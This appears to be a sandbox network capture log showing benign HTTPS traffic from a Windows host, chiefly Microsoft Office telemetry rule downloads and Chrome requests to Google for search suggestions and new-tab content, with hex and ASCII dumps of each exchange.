2024-12-07 23:48:16 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.7	49707	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:18 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:18 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:18 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: b9950e54-401e-0015-4806-480e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234818Z-r1cf579d778dfdgnhC1EWRd3w000000003gg0000000074hn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:18 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.7	49703	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:18 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:18 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:18 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: c11b12be-901e-0048-4704-48b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234818Z-r1cf579d778mvsklhC1EWRkavg00000004200000000034b1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:18 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.7	49704	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:18 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:18 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:18 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: a36b2733-e01e-0051-6f03-4884b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234818Z-r1cf579d77867vg8hC1EWR8knc00000003h00000000082wn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:18 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.7	49705	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:18 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:18 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:18 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 3fcd35f4-e01e-0052-4b02-48d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234818Z-r1cf579d778d5zkmhC1EWRk6h80000000490000000002ads x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:18 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.7	49706	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:18 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:18 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:18 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 2b116ba0-201e-0051-0503-487340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234818Z-r1cf579d7784wpmvhC1EWRk4cn000000034g0000000089b0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:18 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49710	216.58.208.228	443	7412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:19 UTC	595	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiFoM0BCNy9zQEIucrNAQii0c0BCIrTzQEIpNbNAQj01s0BCKfYzQEI+cDUFRj1yc0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-07 23:48:19 UTC	1266	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:19 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-HZbMB501NBVjFrO7W6_WRg' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-07 23:48:19 UTC	124	IN	Data Raw: 64 62 61 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 6a 61 63 6b 20 72 65 61 63 68 65 72 20 73 65 61 73 6f 6e 20 33 20 72 65 6c 65 61 73 65 20 64 61 74 65 22 2c 22 62 65 73 74 20 6d 61 72 76 65 6c 20 72 69 76 61 6c 73 20 63 68 61 72 61 63 74 65 72 73 22 2c 22 66 61 6e 6e 69 65 20 6d 61 65 20 68 6f 6d 65 20 70 72 69 63 65 73 20 66 6f 72 65 63 61 73 74 22 2c 22 73 74 6f 72 6d Data Ascii: dba)]}'["",["jack reacher season 3 release date","best marvel rivals characters","fannie mae home prices forecast","storm
2024-12-07 23:48:19 UTC	1390	IN	Data Raw: 20 64 61 72 72 61 67 68 20 77 65 61 74 68 65 72 20 77 61 72 6e 69 6e 67 73 22 2c 22 61 62 75 20 64 68 61 62 69 20 67 72 61 6e 64 20 70 72 69 78 20 71 75 61 6c 69 66 79 69 6e 67 20 72 65 73 75 6c 74 73 22 2c 22 6e 65 74 66 6c 69 78 20 6d 6f 76 69 65 20 6d 61 72 79 22 2c 22 61 70 70 6c 65 20 69 6f 73 20 31 38 2e 32 22 2c 22 6c 61 20 67 61 6c 61 78 79 20 6e 65 77 20 79 6f 72 6b 20 72 65 64 20 62 75 6c 6c 73 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 Data Ascii: darragh weather warnings","abu dhabi grand prix qualifying results","netflix movie mary","apple ios 18.2","la galaxy new york red bulls"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmR
2024-12-07 23:48:19 UTC	1390	IN	Data Raw: 64 6b 35 79 55 57 34 76 57 6c 46 77 57 54 51 72 64 44 64 6a 51 30 68 48 61 58 52 79 59 31 56 49 4e 56 4d 7a 4d 30 4e 32 51 6e 6c 6b 63 30 51 77 4e 54 42 68 4e 48 70 5a 4b 32 30 79 55 31 52 49 55 58 4a 54 4e 47 74 43 65 45 4a 49 55 45 6b 7a 4c 30 6b 78 62 6d 77 79 4e 47 39 69 64 6b 56 44 53 32 6c 53 51 6e 70 6a 62 54 46 42 54 47 59 78 51 55 4a 33 4f 48 4d 72 64 46 70 6b 61 54 6b 33 64 47 6f 72 52 7a 45 30 61 6c 56 68 54 57 74 43 59 6d 74 56 54 6e 6c 58 56 33 64 6a 51 6b 46 35 56 44 63 76 51 55 74 56 56 6e 52 56 4f 53 74 34 4d 30 31 79 57 6b 39 4f 65 55 5a 30 61 7a 6b 78 57 55 68 4e 53 44 68 71 4e 46 56 32 56 45 35 53 5a 6c 68 79 59 31 4d 30 62 30 68 43 53 32 4d 30 62 33 52 6a 53 46 4d 72 4e 44 52 54 61 32 68 6c 5a 46 46 35 55 44 4d 30 56 57 6c 50 4e 46 5a Data Ascii: dk5yUW4vWlFwWTQrdDdjQ0hHaXRyY1VINVMzM0N2Qnlkc0QwNTBhNHpZK20yU1RIUXJTNGtCeEJIUEkzL0kxbmwyNG9idkVDS2lSQnpjbTFBTGYxQUJ3OHMrdFpkaTk3dGorRzE0alVhTWtCYmtVTnlXV3djQkF5VDcvQUtVVnRVOSt4M01yWk9OeUZ0azkxWUhNSDhqNFV2VE5SZlhyY1M0b0hCS2M0b3RjSFMrNDRTa2hlZFF5UDM0VWlPNFZ
2024-12-07 23:48:19 UTC	617	IN	Data Raw: 4e 56 59 32 77 78 61 47 56 47 61 6a 64 4c 64 31 49 31 51 6c 5a 4c 61 54 46 31 62 30 52 68 4b 33 52 42 51 6d 68 34 4b 7a 4e 51 63 57 5a 68 56 7a 52 70 55 33 6f 7a 56 57 78 50 65 44 55 33 4e 79 74 51 4e 46 55 72 4f 46 42 6a 56 33 4e 55 61 30 6c 68 64 55 4e 72 54 6c 42 4c 4d 6c 4d 32 54 6d 74 4d 4f 57 59 33 56 44 6b 78 57 6a 52 42 52 7a 51 76 5a 54 49 7a 64 32 35 49 55 57 4a 75 4f 45 74 79 62 32 52 4e 57 54 55 31 64 47 73 33 61 6e 42 54 56 53 74 6b 52 45 39 48 62 69 38 35 61 7a 30 36 45 6d 35 6c 64 47 5a 73 61 58 67 67 62 57 39 32 61 57 55 67 62 57 46 79 65 55 6f 48 49 7a 4d 7a 4f 44 4d 33 5a 6c 4a 44 5a 33 4e 66 63 33 4e 77 50 57 56 4b 65 6d 6f 30 64 46 5a 51 4d 58 70 6a 4d 45 78 4e 4f 48 46 78 52 46 46 77 53 7a 64 4a 4d 46 6c 51 55 56 4e 35 61 33 4e 30 55 Data Ascii: NVY2wxaGVGajdLd1I1QlZLaTF1b0RhK3RBQmh4KzNQcWZhVzRpU3ozVWxPeDU3NytQNFUrOFBjV3NUa0lhdUNrTlBLMlM2TmtMOWY3VDkxWjRBRzQvZTIzd25IUWJuOEtyb2RNWTU1dGs3anBTVStkRE9Hbi85az06Em5ldGZsaXggbW92aWUgbWFyeUoHIzMzODM3ZlJDZ3Nfc3NwPWVKemo0dFZQMXpjMExNOHFxRFFwSzdJMFlQUVN5a3N0U
2024-12-07 23:48:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49712	216.58.208.228	443	7412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:19 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49713	216.58.208.228	443	7412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:19 UTC	498	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiFoM0BCNy9zQEIucrNAQii0c0BCIrTzQEIpNbNAQj01s0BCKfYzQEI+cDUFRj1yc0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-07 23:48:20 UTC	1018	IN	HTTP/1.1 200 OK Version: 702228742 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sat, 07 Dec 2024 23:48:19 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-07 23:48:20 UTC	372	IN	Data Raw: 32 31 62 63 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 21bc)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-12-07 23:48:20 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-12-07 23:48:20 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
